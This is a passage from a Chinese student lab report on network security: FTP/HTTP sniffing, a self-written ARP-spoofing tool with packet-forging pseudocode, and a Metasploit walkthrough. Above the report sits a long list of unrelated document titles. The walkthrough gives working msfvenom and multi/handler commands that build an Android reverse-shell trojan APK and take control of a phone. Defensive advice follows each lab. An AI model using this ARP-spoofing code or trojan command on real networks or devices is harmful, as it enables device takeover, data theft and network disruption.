课程编号:B

Similar documents
Chapter #

计算机网络实验说明

C6_ppt.PDF

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP #

目 录(目录名)


C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1

目录 1 IP 地址配置命令 IP 地址配置命令 display ip interface display ip interface brief ip address i

C语言课程设计

计算机网络 实验指导书 / 实验四 : 动态路由协议 实验四 : 动态路由协议 一 实验目的 1 进一步理解路由器的工作原理; 2 掌握 RIP 的基本原理和实现 ; 3 掌握 OSPF 的基本原理和实现 二 实验学时 2 学时 三 实验类型 综合性 四 实验需求 1 硬件每人配备计算机 1 台 2

目录 1 IPv6 PIM Snooping 配置命令 IPv6 PIM Snooping 配置命令 display pim-snooping ipv6 neighbor display pim-snooping ipv6 routing-ta

ch09.PDF

静态分析 投放文件 行为分析 互斥量 (Mutexes) 执行的命令 创建的服务 启动的服务 进程 cmd.exe PID: 2520, 上一级进程 PID: 2556 cmd.exe PID: 2604, 上一级进程 PID: 2520 访问的文件 C:\Users\test\AppData\Lo

一 登录 crm Mobile 系统 : 输入 ShijiCare 用户名和密码, 登录系统, 如图所示 : 第 2 页共 32 页

一、

标题

目 录(目录名)

<4D F736F F D20CDB6D7CAD5DFB1A3BBA4B5E4D0CDB0B8C0FDA3A831322D3234A3A9>

ARP ICMP

第3章 计算机网络体系结构

TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco

1

0 配置 Host MIB 设备 V ( 简体版 ) 0 Update: 2016/1/30

ebook67-9

Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7.

路由器基本配置

中国科学院文件

获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复

Office Office Office Microsoft Word Office Office Azure Office One Drive 2 app 3 : [5] 3, :, [6]; [5], ; [8], [1], ICTCLAS(Institute of Computing Tech

11N 无线宽带路由器

工程师培训

手册 doc

untitled

Symantec™ Sygate Enterprise Protection 防护代理安装使用指南

SP_ SP_03 JAVA...6 SP_10 SQL...8 SP_ SP_ SP_ SP_ SP_ SP_ SP_ SP_04.NET...33 SP_02 C...37 SP_05

TCPIP协议簇

エスポラージュ株式会社 住所 : 東京都江東区大島 東急ドエルアルス大島 HP: ******************* * 关于 Java 测试试题 ******

计算机网络编程

網路安全:理論與實務 第二版

第二章 系统初始化.doc

目录 1 IP 地址 IP 地址配置命令 display ip interface display ip interface brief ip address 1-5 i

ChinaBI企业会员服务- BI企业

六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0

Microsoft PowerPoint - BECKHOFF技术_ADS通讯 [Compatibility Mode]

ebook35-21

第一章 系统架构总概.doc

<4D F736F F D20C9CFBAA3CAD0BCC6CBE3BBFAB5C8BCB6BFBCCAD4C8FDBCB6BFBCCAD4B4F3B8D95FBDA8D2E9B8E55F5F E646F63>

目录 1 IPv6 快速转发 IPv6 快速转发配置命令 display ipv6 fast-forwarding aging-time display ipv6 fast-forwarding cache ipv6 fas

A9RBC8B.tmp

图 4.2 udpclient 项目解决方案 3. 客户机程序编码如下 : 程序 : udp 客户机程序 udpclient.cpp

IP505SM_manual_cn.doc

R3105+ ADSL

Microsoft Word zw

嵌入式Linux块设备驱动开发解析

1. 总 体 目 标 通 过 本 课 程 的 学 习, 使 学 生 掌 握 新 大 陆 物 联 网 统 安 装 部 署 传 感 信 息 采 集 二 维 码 识 读 RFID 读 写 Zigbee 组 网 串 口 通 信 RS485 总 线 等 知 识 和 物 联 网 实 训 设 备 的 安 装 部


C/C++ - 文件IO

Chapter 5 TCP/IP Security WANG YANG

电信行业网上营业厅

Microsoft PowerPoint - 数据通信-ch1.ppt

<4D F736F F F696E74202D20A1B6CFEEC4BFD2BB20B3F5CAB6BCC6CBE3BBFACDF8C2E7A1B7C8CECEF1C8FD20CAECCFA A1A24950D0ADD2E9BACD4950B5D8D6B72E707074>

C3_ppt.PDF

飞鱼星多WAN防火墙路由器用户手册

第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特 网 的 标 准 化 工 作 计 算 机 网 络 在

幻灯片 1

《C语言基础入门》课程教学大纲

NOWOER.OM m/n m/=n m/n m%=n m%n m%=n m%n m/=n 4. enum string x1, x2, x3=10, x4, x5, x; 函数外部问 x 等于什么? 随机值 5. unsigned char *p1; unsigned long *p

untitled

目录 1. POWERSHELL 简介 2. POWERSPLOIT 3. 内网渗透实例 2

18 上 报 该 学 期 新 生 数 据 至 阳 光 平 台 第 一 学 期 第 四 周 至 第 六 周 19 督 促 学 习 中 心 提 交 新 增 专 业 申 请 第 一 学 期 第 四 周 至 第 八 周 20 编 制 全 国 网 络 统 考 十 二 月 批 次 考 前 模 拟 题 第 一 学


幻灯片 1

<433A5C446F63756D656E E E67735C41646D696E F725CD7C0C3E65CC2DBCEC4CFB5CDB3CAB9D3C3D6B8C4CFA3A8BCF2BBAFA3A95CCAB9D3C3D6B8C4CF31302D31392E646F63>

C 1

01

PIC_SERVER (11) SMTP ( ) ( ) PIC_SERVER (10) SMTP PIC_SERVER (event driven) PIC_SERVER SMTP 1. E-


CC213

/3/15 1, linux. linux,,. : 1.NAT ; 2. (load balance, virtual server);; 3. ; 4. ; 5. 6.VPN; 7. ; 8. ; 9.. (,

OOP with Java 通知 Project 2 提交时间 : 3 月 14 日晚 9 点 另一名助教 : 王桢 学习使用文本编辑器 学习使用 cmd: Power shell 阅读参考资料


DOS下常用的网络命令.PDF

SEC-220


安友医疗科技(武汉)有限责任公司

ARP?? b.doc

提问袁小兵:


Ip Network Browser Solarwinds Download Crack. Tienda stress diesel generar Egypt acceso

计算机网络 实验指导书 / 实验三 : 使用路由器组网 实验三 : 使用路由器组网 一 实验目的 1 理解路由器的基本工作原理; 2 掌握路由器的基本管理和配置方法; 3 理解路由组网的方法和静态路由的具体使用; 4 理解基于路由器的园区网的结构, 并进一步体会园区网的设计思路 二 实验学时 2 学

网工新答案


湖北省政府采购中心

课程编号 :B Linux 程序设计 实验报告 姓名薛旗学号 班级软信 指导教师王学毅 实验名称多进程编程 开设学期 第一学期 开设时间第 18 周 第 19 周 报告日期 201

(Microsoft Word - NCRE\314\345\317\265\265\367\325\37313\324\27221\272\3051.doc)

static struct file_operations gpio_ctl_fops={ ioctl: gpio_ctl_ioctl, open : gpio_open, release: gpio_release, ; #defineled1_on() (GPBDAT &= ~0x1) #def

90 1 2/3 2/

一、选择题

中北大学常规事项财务报销操作指南

Transcription:

课程编号 :B080209040 信息安全工程实践 4 实践报告 姓名薛旗学号 20155362 班 级 软信 -1503 指 导 教 师 王冬琦 开 设 学 期 2017-2018 第二学期 开 设 时 间 第 1 周 第 3 周 报 告 日 期 2018.03.26 评 定 人 评 定 成 绩 评 定 日 期 东北大学软件学院

实验 1 协议分析和网络嗅探 1. 实践内容 1) 通过使用 Sniffer Pro 软件掌握 Sniffer( 嗅探 ) 工具的使用方法, 实现捕捉 FTP HTTP 等协议的数据包 ; 2) 理解 TCP/IP 协议中多种协议的数据结构 会话连接建立和终止的过程 ; 3) 了解 FTP HTTP 等协议明文传输特性, 增强安全意识 2. 实践过程 2.1 搭建 FTP 服务器 ( 工具 :FileZilla Server) (1) 初始化及配置 (2) 设置用户账户 (3) 设置共享文件夹路径, 配置权限 (4) 配置成功

2.2 登陆并测试 FTP 服务器 (1) 打开浏览器, 连接远程 FTP 服务器 (2) 输入帐户密码, 登陆 FTP 服务器 (3) 登陆成功, 可查看该共享文件夹下内容 (4) 用户连接信息显示在服务器窗口 2.3 协议分析及网络嗅探 ( 工具 :Sniffer Pro) (1) 打开 Sniffer Pro, 显示主界面 (2) 定义过滤器 : 只抓取 FTP 数据

(3) 定义过滤器 : 指定希望捕获的 IP 地址 (4) 定义好的过滤器, 开始抓包 (5)Traffic Map 视图 (6)Decode 页面 (7) 其他信息 (8) 类似以上步骤, 捕获 HTTP 数据包

实验 2 ARP 攻击的设计与实现 1. 实践内容 1) 设计并实现 ARP 攻击 2) 可以设计并实现其他攻击 2. 实践过程 2.1 ARP 攻击原理分析 2.1.1 ARP 数据报格式 2.1.2 ARP 工作原理 ARP(Address Resolution rotocol, 地址解析协议 ) 是将 IP 地址解析为以太网 MAC 地 址 ( 或称物理地址 ) 的协议 (1)A 先在其 ARP 高速缓存中查看有无 B 的 IP 地址 如有, 就在 ARP 高速缓存中查出 其对应的硬件地址, 再把这个硬件地址写入 MAC 帧, 然后通过局域网把该 MAC 帧发往此 硬件地址 如果查不到 B 的 IP 的项目, 则进入第 (2) 步 (2)A 的 ARP 进程在本局域网上广播发送一个 ARP 请求分组, 主要内容是 A 自己的 IP 地址 MAC 地址, 询问的 IP 地址 ( 也就是 B 的 IP 地址 ) (3) 在本局域网上的所有主机运行的 ARP 进程都收到此 ARP 请求分组 (4) 主机 B 的 IP 地址与 ARP 请求分组中要查询的 IP 地址一致, 就收下这个 ARP 请求分 组, 并向 A 单播发送 ARP 响应分组 ( 其中写入了 B 自己的硬件地址 ), 同时将 A 的地址映 射写入自己的 ARP 高速缓存中 由于其余的所有主机 IP 地址都与 ARP 请求分组要查询的 IP 地址不一致, 因此都不理睬这个 ARP 请求分组 的映射 (5)A 收到 B 的 ARP 响应分组后, 就在其 ARP 高速缓存中写入 B 的 IP 地址到硬件地址 至此,A 得到了从 B 的 IP 地址到其 MAC 地址的映射 当这个映射项目在高速缓存中 保存超过生存时间, 将被从高速缓存中删除 2.1.3 ARP 欺骗原理 : ARP 自动学习的目的, 就是通讯的双方主机互相请求 / 告知 MAC 地址, 并以此完成二层的以太网帧交换, 由于通讯的双向性, 很显然如果任何一方的 ARP 信息是空或者错误的, 那么通讯就会失败 而 ARP 欺骗的目的就是频繁的发送错误消息欺骗网络通信的任何一方, 最终导致不能正常通信

2.2 ARP 攻击模块部分 2.2.1 程序初始化 int get_ip_by_domain(const char *domain, char *ip); // 根据域名获取 ip int get_local_mac(const char *eth_inf, char *mac); // 获取本机 mac int get_local_ip(const char *eth_inf, char *ip); // 获取本机 ip 伪代码 : // 根据域名获取 ip int get_ip_by_domain(const char *domain, char *ip){ hptr = gethostbyname(domain);... for(pptr = hptr->h_addr_list ; *pptr!= NULL; pptr++){ if (NULL!= inet_ntop(hptr->h_addrtype, *pptr, ip, IP_SIZE) ){ return -1; // 获取本机 mac return 0; // 只获取第一个 ip int get_local_mac(const char *eth_inf, char *mac){... sd = socket(af_inet, SOCK_DGRAM, 0); strncpy(ifr.ifr_name, eth_inf, sizeof(ifr.ifr_name) - 1);... snprintf(mac, MAC_SIZE, "%02x:%02x:%02x:%02x:%02x:%02x", (unsigned char)ifr.ifr_hwaddr.sa_data[0], (unsigned char)ifr.ifr_hwaddr.sa_data[1], (unsigned char)ifr.ifr_hwaddr.sa_data[2], (unsigned char)ifr.ifr_hwaddr.sa_data[3], (unsigned char)ifr.ifr_hwaddr.sa_data[4], (unsigned char)ifr.ifr_hwaddr.sa_data[5]);

close(sd); return 0; // 获取本机 ip int get_local_ip(const char *eth_inf, char *ip){... sd = socket(af_inet, SOCK_DGRAM, 0);... strncpy(ifr.ifr_name, eth_inf, IFNAMSIZ); ifr.ifr_name[ifnamsiz - 1] = 0;... memcpy(&sin, &ifr.ifr_addr, sizeof(sin)); snprintf(ip, IP_SIZE, "%s", inet_ntoa(sin.sin_addr)); close(sd); return 0; 2.2.2 选择网络接口 查找最合适接口 :device = pcap_lookupdev(errbuf); 加载全部设备列表 :ret = pcap_findalldevs(&it,errbuf); 2.2.3 设置扫描网段, 扫描活跃主机 : 启用多线程, 防止扫描界面卡死 创建类 MyThread, 公有继承自 QThread, 通过重写 run() 方法来处理网段扫描 扫描 :temp_str = "nmap -sp " + globle_ip_segment + " -T5"; ARP 缓存表重定向 :system("cat /proc/net/arp > list.txt"); 从文件读取 ARP 缓存表并打印 : QTextStream in(&file); QString line = in.readline(); while (!line.isnull()){ line = in.readline(); ui->net_info_wid->additem(new QListWidgetItem(QString(line))); 2.2.4 设置参数 void get_ip_mac(qstring str); // 正则匹配, 得到 IP 和 MAC 伪代码 : // 正则匹配 IP QRegExp ip_rx("(\\d{1,3)\\.(\\d{1,3)\\.(\\d{1,3)\\.(\\d{1,3)"); int pos = str.indexof(ip_rx); if(pos >= 0){ temp = ip_rx.cap(0);

reg_ip = ip_rx.cap(0); // 正则匹配 MAC QRegExp max_rx("([0-9a-f]{2):([0-9a-f]{2):([0-9a-f]{2):([0-9a-f]{2):([0-9a-f]{2):([0-9a-f]{2)"); pos = str.indexof((max_rx)); if(pos >= 0){ temp = max_rx.cap(1); reg_mac = max_rx.cap(0); 2.2.5 构造 ARP 包伪代码 : // 构造以太网首部目标 MAC 地址及以太网 ARP 字段目标 MAC 地址 for(i = 0; i < 6; i++){ temp_trans += "0x" + max_rx.cap(flag++); str_cheat_host = temp_trans.tostdstring(); packet[i] = strtoul(str_cheat_host.c_str(),0,0); packet[i + 32] = packet[i]; temp_trans = ""; // 以太网源地址 flag = 1; pos = host_mac.indexof((max_rx)); if(pos >= 0){ for(i = 6; i < 12; i++){ // 帧类型 packet[12]=0x08; packet[13]=0x06; // 硬件类型 packet[14]=0x00; packet[15]=0x01; // 协议类型 packet[16]=0x08; packet[17]=0x00; // 硬件地址长度 packet[18]=0x06; // 以太网 arp 字段目标 MAC 地址 temp_trans += "0x" + max_rx.cap(flag++); str_insert_mac = temp_trans.tostdstring(); // 以太网首部目标 MAC 地址 packet[i] = strtoul(str_insert_mac.c_str(),0,0); // 以太网首部源 MAC 地址 temp_trans = "";

// 协议地址长度 packet[19]=0x04; //option 字段 packet[20]=0x00; packet[21]=0x02; //ARP 字段发送者 MAC 地址 flag = 1; QString insert_mac = ui -> insert_mac -> text(); pos = insert_mac.indexof((max_rx)); if(pos >= 0){ for(i = 22; i< 28; i++){ temp_trans += "0x" + max_rx.cap(flag++); str_insert_mac = temp_trans.tostdstring(); packet[i] = strtoul(str_insert_mac.c_str(),0,0); //ARP 字段首部源 MAC 地址 temp_trans = ""; // 发送者 IP( 假冒的 IP) flag = 1; QRegExp ip_rx("(\\d{1,3)\\.(\\d{1,3)\\.(\\d{1,3)\\.(\\d{1,3)"); flag = 1; QString insert_ip = ui -> insert_ip -> text(); pos = insert_ip.indexof((ip_rx)); if(pos >= 0){ for(i = 28; i< 32; i++){ temp_trans = ip_rx.cap(flag++); str_insert_ip = temp_trans.tostdstring(); packet[i] = atoi(str_insert_ip.c_str()); temp_trans = ""; //arp 字段目标 ip flag = 1; pos = reg_des_ip.indexof((ip_rx)); if(pos >= 0){ for(i = 38; i< 42; i++){ temp_trans = ip_rx.cap(flag++); str_reg_des_ip = temp_trans.tostdstring(); packet[i] = atoi(str_reg_des_ip.c_str()); temp_trans = "";

// 数据填充 for(i = 42; i < 60; i++){ packet[i]=0x00; 2.2.6 执行攻击启用多线程, 防止扫描界面卡死 创建类 CheatThread, 公有继承自 QThread, 通过重写 run() 方法来处理网段扫描 cheat_fun.start(); while(attack_flag){ pcap_sendpacket(adhandle, packet,60 ); sleep(2); 2.2.7 抓包审查 for(i=0;i<60;i++){ sprintf(buf, "%02x ",packet[i]); str_out_put = buf; qstr_out_put += QString::fromStdString(str_out_put); ui -> output_info -> setplaintext(qstr_out_put); 2.3 嗅探统计部分 2.3.1 底层模块 ( 数据包捕获 ) (1) 通过 Libpcap 提供的网络数据包捕获接口, 捕获流经本网卡的所有原始数据包 本实验设计的底层模块的初始化工作在函数 pcap_t* open_pcap_socket(char* device, const char* bpfstr) 中, 定义的回调函数为 void capture_loop(pcap_t* pd, int packets, pcap_handler func), 捕获的数据包处理主函数为 void parse_packet(u_char *user, struct pcap_pkthdr *packethdr,u_char *packetptr) (2) 数据包捕获步骤及函数说明 a. 网络设备查找 char *pcap_lookupdev(char *errbuf) 获取可被函数调用的网络设备名指针 b. 打开网络设备 pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) 获得用于捕获网络数据包的数据包捕获描述字 c. 获取网络参数 int pcap_lookupnet(char *device, bpf_u_int32 *netp,bpf_u_int32 *maskp,

char *errbuf) 获得指定网络设备的网络号和掩码 d. 编译过滤策略 int pcap_compile(pcap_t *p, struct bpf_program *fp,char *str, int optimize, bpf_u_int32 netmask) 将 str 参数指定的字符串编译到过滤程序中 e. 设置过滤器 int pcap_setfilter(pcap_t *p, struct bpf_program *fp) 指定一个过滤程序 f. 利用回调函数捕获数据包 int pcap_loop(pcap_t *p, int cnt,pcap_handler callback, u_char *user) 捕获并处理数据包 g. 关闭网络设备 void pcap_close(pcap_t *p) 关闭 p 参数相应的文件, 并释放资源 2.3.2 中层模块 (MAC 层处理模块,IP 层处理模块,TCP 处理模块,UDP 处理模块,ICMP 处理模块 ) 息 (1) 模块结构 void print_ethernet(struct ether_header* eth) void print_arp(struct ether_arp *arp) void print_ip(struct ip *ip) 显示以太网帧头部结构信 显示 arp 报头结构信息 显示 ip 报头结构信息 void print_tcp(struct tcphdr *tcp) 显示 tcp 报头结构信息 void print_udp(struct udphdr *udp) 显示 udp 报头结构信息 void print_icmp(struct icmp *icmp) 显示 icmp 报头结构信息 void dump_packet(unsigned char * buff, int len) 来表示 将从 Ethernet 报头的初始地址到 FCS 之前的值使用十六进制整数和 ASCII 码 char *mac_ntoa(u_char *d) char *ip_ttoa(int flag) char *ip_ftoa(int flag) char *tcp_ftoa(int flag) (2) 实现方法 将 MAC 地址变换为字符串 将 IP 报头中的标志变换为 ASCII 码辅助函数 将 IP 报头中的标志变换为 ASCII 码辅助函数 将 TCP 报头中的标志变换为 ASCII 码辅助函数 通过 Libpcap 提供的网络数据包捕获接口捕获流经本网卡的所有原始数据包 在回调函数中循环处理捕获的数据包. 首先, 开始处理 Ethernet 的报头 检查 Ethernet 类型之后, 分析进行 ARP 协议 IP 协议 其他协议的处理 如果为 IP 协议, 则进一步地进行 IP 报头的处理, 然后, 分别进行下面的 TCP 协议 UDP 协议 ICMP 协议 其他协议等的任一处理 如果判明了协议类型, 则按照命令行可选域的指示, 显示相关的报头 报头的显示在传输层一级上知道了包的种类之后进行 并且, 按照 Ethernet 报头的顺序进行显示

2.3.3 上层统计处理模块 ( 数据包统计模块, 数据包协议统计模块, 网络元发现模块, 数据包构造模块, 数据包过滤模块 ) (1) 相关函数 : void parse_packet(u_char *user, struct pcap_pkthdr *packethdr,u_char *packetptr) 统计变量寄存位置 有 : void bailout(int signo) 打印并输出统计信息 int main(int argc, char **argv) 开始时间统计变量寄存位置 (2) 主要功能 a. 网络元发现 : 发现网络上的主机 b. 数据包统计模块及数据包协议统计模块. 本次实验中统计模块包含的统计信息 开始时间, 结束时间, 运行时间, 捕获的所有数据包, 丢弃的数据包, 数据包捕获 速度, 网络超长帧, 网络超短帧, 数据帧大小 (MAC Bytes), 捕获数据帧速率 (bits/s),arp 数据包,IP 数据包,TCP 数据包,UDP 数据包,ICMP 数据包,RARP 数据包, 其他数据包 c. 设计过滤规则. 根据过滤条件对数据包进行过滤. 本次实验中实现了对不同协议 的数据包进行过滤

2.3.4 流程图 开始 ETHERTYPE_ARP 显示 Ethernet 报头 显示 ARP 包 显示 Ethernet 报头 显示 IP 报头 检查命令行的一个可行域 打开一个数据链路访问接口 pcap_loop 循环抓包 处理包 检查 Ethernet 的类型 检查 IP 协议的类型 显示 Ethernet 报头显示 Ethernet 报头显示 Ethernet 报头 显示 IP 报头显示 IP 报头显示 IP 报头 显示 TCP 包头显示 UDP 报头显示 ICMP 报头显示 unknown 报头 显示包的 dump pcap_loo p 循环结束 ETHERTYPE_IP IPPROTO_TCP IPPROTO_UDP IPPROTO_ICMP 其它 其它 显示 Ethernet 报头 显示 unknown

2.3 成果展示 2.3.1 主界面 (1) 嗅探界面 (2) 统计界面 (3)ARP 攻击操作界面 (4) 关于界面

2.3.2 ARP 攻击操作界面介绍 1 适配器 : 选择将要扫描的网络接口 其中点选默认即加载最佳适配的网络接口, 加载全部 则加载当前设备所有接口 2 扫描网段 : 默认局域网段设置为 192.168.0.1/24, 其中 24 为子网掩码的前缀表示法, 标识 子网掩码, 代表数字 1 的个数 24 即 24 个 1, 转化为点分十进制为 255.255.255.0 该扫描 网段需要用户根据实际情况设定 点击 开始扫描 则从设定的网段开始扫描局域网内活跃 的主机, 并更新 ARP 缓存表 3 活跃主机列表 : 扫描出来的活跃主机信息将显示在该列表中 4 欺骗对象 : 分为单播和广播两种 单播只针对局域网内一台主机, 广播则针对局域网内所 有主机 点击广播则会默认设置字段为 FF:FF:FF:FF:FF:FF 若选择单播, 则可以通过双击 活跃主机列表中的主机快速填入设置字段 该字段的值会自动添加到 ARP 数据报文结构中 的以太网首部目的 MAC 地址和 ARP 请求 / 应答字段中目的以太网 MAC 地址 5 欺骗 IP: 冒充的 IP 地址 该字段将会自动添加到 ARP 请求 / 应答字段中的发送端 IP 地址 可通过双击活跃主机列表中的主机快速填入 6 伪造 Mac 地址 : 将要伪造的 MAC 地址 该字段会自动添加到 ARP 请求 / 应答字段中的发 送端以太网地址 可通过双击活跃主机列表中的主机快速填入 7ARP 包详细信息 : 发送的 ARP 数据报各字段详细信息将展示在该窗口 8 命令控件 : 构造好 ARP 数据报后, 点击 执行 则开始发起 ARP 攻击 ; 点击 停止 则停止 ARP 攻击 ; 点击 清除日志 则清空当前日志信息 9 设备信息 : 启动程序后, 自动扫描设备信息, 显示推荐的适配网络接口 本机 IP 及本机 MAC 10 操作日志 : 显示用户操作的日志信息及状态提示

2.3.3 步骤演示 : 预操作 : 查看预攻击目标在未遭受 ARP 攻击下的 ARP 缓存表 ( 通过比较攻击前后 ARP 缓 存表信息, 来确定是否攻击成功 ) (1) 启动主程序 系统初始化, 加载设备信息, 并将设备运行情况加载在操作日志中 (2) 选择网络接口 程序初始化后将会提供一个默认最优接口 用户也可以选择 加载全 部 加载设备所有接口, 自主选择扫描接口 (3) 设置扫描网段 程序启动后将会加载默认的扫描网段 用户也可根据实际情况自行设 置 (4) 开始扫描 点击 开始扫描 则从设定的网段开始扫描局域网内活跃的主机, 并更新 ARP 缓存表 扫描出的活跃主机信息将加载在列表中

(5) 依次选择欺骗对象 欺骗 IP 及伪造的 Mac 地址 三者都可通过双击活跃主机列表中 的主机快速填入

(6) 开始执行 ARP 攻击 发送的 ARP 数据报各字段详细信息将展示在 ARP 包详细信息窗 口 (7) 查看数据报详细信息 转到 嗅探 界面, 选择过滤规则, 配置其他选项, 点击 运 行, 开始抓包 获取的包信息将展示在详细界面

(8) 查看攻击效果 可以看到, 被攻击目标的 ARP 缓存表已发生改变, 欺骗 IP 对应的 Mac 地址以被改为伪造的 MAC 地址 00:00:00:00:00:00

(9) 停止攻击 可看到在操作日志处已更新信息 (10) 同以上步骤, 重新选择欺骗对象 欺骗 IP 及伪造的 Mac 地址, 重新发起 ARP 攻击 此次欺骗对象为网关, 欺骗 IP 为局域网内的某台主机, 使其上不了网

(11) 再次查看攻击效果 发现目标主机已无法上网 (12) 转到 统计 页面, 可查看统计信息

(13) 关于页面 2.3.4 ARP 攻击防范方法 (1) 静态绑定 对每台主机进行 IP 和 MAC 地址静态绑定 (2) 使用 ARP 防护软件, 善用 ARP 防火墙和 ARP 病毒查杀软件 (3) 采用 VLAN 技术隔离端口, 将 VLAN 和交换机端口绑定 通过划分 VLAN 和交换机 端口绑定, 防范 ARP 攻击 (4) 禁用某个网络接口做 ARP 解析

实验 3 新的网络攻击手段的论述 1. 简介 随着智能手机的普及, 以智能手机为平台的应用软件越来越多, 这些软件极大丰富了人 们的生活, 带给人们极大的便利 但是伴随着手机软件的爆炸式增长, 一些恶意软件也大量 出现在互联网上, 骗取用户下载安装, 危害用户移动设备安全 近些年, 以安卓系统为平台 的设备与日俱增, 伴随着市场占有率的快速上涨, 其安全性也引发了极大的关注 同时因为 安卓系统的开源性, 更加方便了不法分子编写安卓平台恶意软件, 非法获取用户信息 本实 验将模拟针对安卓设备的网络攻击, 通过生成恶意软件, 诱导用户安装 ( 通过链接或软件捆 绑 ), 从而达到监听用户数据, 后台获取用户信息的目的 2. 攻击原理 通过 Metasploit Framework(MFS) 生成木马文件, 通过链接或恶意软件捆绑, 诱导用户下 载安装, 从而入侵 Android 手机 3. 工作过程或步骤流程 ( 所用工具介绍 ) 工具 操作系统 :Kali Linux 使用工具 : Metasploit Framework(MSF) 工具介绍 :MetasploitFramework 是一套针对远程主机进行开发和执行 exploit 代码 的 使用步骤 : (1) 选择并配置一个攻击代码 (exploit), 利用漏洞来进入目标系统 (2) 检测目标系统是否会被此代码影响 (3) 选择并配置有效载荷 (payload), 成功入侵系统后在目标系统执行代码 (4) 选择编码方式 (5) 执行攻击代码

详细操作步骤 : (1) 打开终端, 查看本地 IP 地址 >> ifconfig 通过指定接口, 可以看到本地 IP 地址为 192.168.0.102 (2) 使用 msfvenom 工具生成 apk 木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 R > /root/hack.apk 参数详解 : -p 指定需要使用的 payload( 攻击载荷 ), 是系统被攻陷后执行的操作 通常攻击载荷附 加于漏洞攻击模块之上, 随漏洞攻击一起分发 singles: 自包含, 完全独立, 类似小的可执行文件 stagers: 攻击者和被攻击者之间建立网络连接 stages:stagers 模块下载的载荷组件 -LPORT: 接收反弹 Shell 的主机, 即本地 IP 地址 -LPORT: 接收反弹 Shell 主机的监听端口 /root/hack.apk: 生成木马文件 apk 目录 (3) 打开 postgresql 数据库 >> service postgresql start (4) 初始化数据库服务 >> msfdb init (5) 启动 metasploit 控制台 >> msfconfole

(6) 加载模块 >> use exploit/multi/handler (7) 选择 payload( 攻击载荷 ) >> set payload android/meterpreter/reverse_tcp (8) 查看参数 >> show options (9) 设置参数, 将 LHOST 设置为本地 IP, 即 192.168.0.102; 将 LPORT 设置为刚才设置的 监听端口 6666 >> set LHOST 192.168.0.102 >> set LPORT 6666

(10) 查看参数是否设置成功 >> show options (11) 将 hack.apk 安装到手机 (12) 执行漏洞, 开始监听, 等待手机上线 待手机执行该应用时, 将自动连接会话 >> exploit 至此入侵系统成功 4. 功能或后果 入侵系统成功后, 恶意软件将会建立 TCP 连接, 攻击方将会通过 msfconfole 控制终端远 程操控用户设备, 获取用户信息 (1) 查看入侵系统信息 >> sysinfo

(2) 查看更多指令 >> help (3) 通过相关指令即可获得相关信息

5. 防范手段与措施 (1) 购买手机或者下载安装 APP, 最好通过官方 正规渠道, 尽量不要通过第三方销售平台或者第三方应用商店, 防止软件后门及恶意软件捆绑 (2) 要特别注意不要轻易点击下载具有诱导性质的链接或者弹窗提供的 APP, 防止下载到恶意软件, 造成数据泄露 (3) 在使用手机的过程中, 要善用安全管理软件, 在安装软件时对应用程序及安装包 进行安全扫描, 确保软件安全再进行安装 (4) 如果对设备有高安全性需要, 应当对设备添加密码保护, 要对设备进行及时备份 (5) 注意应用申请的权限信息, 是否存在申请过多权限的问题 (6) 尽可能的升级操作系统, 防止漏洞利用 (7) 关注进程列表, 确保只有受信任进程运行 如果发现未知进程, 考虑移除进程并 对手机进行病毒查杀 6. 结论 ( 个人观点 ) 在大数据大安全时代, 移动终端设备面临的威胁日益增多 : 恶意软件层出不穷, 方法手 段更加隐蔽, 诈骗电话 欺诈短信 钓鱼链接 木马病毒 勒索软件等, 给移动终端用户带 来很多安全问题 因此用户在这个时代背景下, 需要提高自己的辨别能力, 不去点击可疑链 接, 不访问不正当内容, 不轻信诱导性软件提供的信息, 不随便扫街边二维码, 以防恶意软 件在后台偷偷下载安装运行, 导致手机崩溃或信息泄露

实践总结 1. 参考资料 David Kennedy, Jim O Gorman 等著 : Metasploit 渗透测试指南, 电子工业出版社,2012 2. 实践总结通过实验一, 我学会了使用 Sniffer Pro 软件, 并通过该软件进行协议分析和网络嗅探, 知道了如何捕获 FTp HTTP 等协议的数据包, 理解了 TCP/IP 协议中多种协议的 数据结构 会话连接建立和终止的过程 同时在实践过程中, 学会了自己搭建 FTP 服 务器 通过实验二, 我掌握了 ARP 协议的攻击原理, 并通过 QT 设计了一款能够实现 ARP 攻击的图形界面软件, 提出了防范 ARP 攻击的方法, 将理论知识运用于实践 在本实 验的基础上, 我进行了一些拓展, 实现了通过利用 Libpcap 提供的网络数据包捕获接口 捕获流经本网卡的所有原始数据包, 并在此基础上对捕获的数据包进行统计分析 与此 同时了解了如何通过编写过滤条件, 对网络数据包进行过滤, 提取出所关心的网络数据 本实验对我的编程能力和综合能力有很大的提升 通过实验三, 我针对互联网上恶意软件泛滥的问题, 通过 Metasploit Framework(MSF) 模拟实现了 Android 系统下木马 APK 文件生成及渗透入侵 监听用户 数据 非法获取用户数据信息的过程, 懂得了攻击原理及后果, 并提出了防范手段及措 施, 对自身实践能力有很大的提升 总之, 通过本次实验, 将平时上课所学理论知识转化为了实践, 不仅提高了自身的 编程能力, 还提高了自己解决问题和思维的能力, 获益匪浅 希望多多开设这样的实践 课, 在实践中提升自己的综合能力

